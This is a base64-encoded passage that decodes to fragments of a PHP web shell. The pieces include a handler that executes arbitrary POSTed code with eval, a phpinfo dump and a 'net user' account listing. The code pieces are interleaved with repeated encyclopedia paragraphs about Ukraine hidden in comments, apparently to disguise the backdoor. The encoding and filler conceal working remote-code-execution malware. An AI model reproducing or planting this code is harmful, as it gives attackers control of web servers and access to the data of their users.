ZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkJc2hvd1NlY1BhcmFtKCdVc2VyIEFjY291bnRzJyxleCgnbmV0IHVzZXInKSk7Cgl9CgllY2hvICc8L2Rpdj4nOwoJcHJpbnRGb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uUGhwKCkgewoJaWYoIGlzc2V0KCRfUE9TVFsnYWpheCddKSApIHsKCQkkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IHRydWU7Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJCW9iX3N0YXJ0KCk7CgkJZXZhbCgkX1BPU1RbJ3AxJ10pOwoJCSR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQaHBPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQaHBPdXRwdXQnKS5pbm5lckhUTUw9JyIuYWRkY3NsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSksIlxuXHJcdFxcJ1wwIikuIic7XG4iOwoJCWVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJCWV4aXQ7IAoJfQoJcHJpbnRIZWFkZXIoKTsKCWlmKCBpc3NldCgkX1BPU1RbJ3AyJ10pICYmICgkX1BPU1RbJ3AyJ10gPT0gJ2luZm8nKSApIHsKCQllY2hvICc8aDE+UEhQIGluZm88L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwoJCW9iX3N0YXJ0KCk7CgkJcGhwaW5mbygpOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV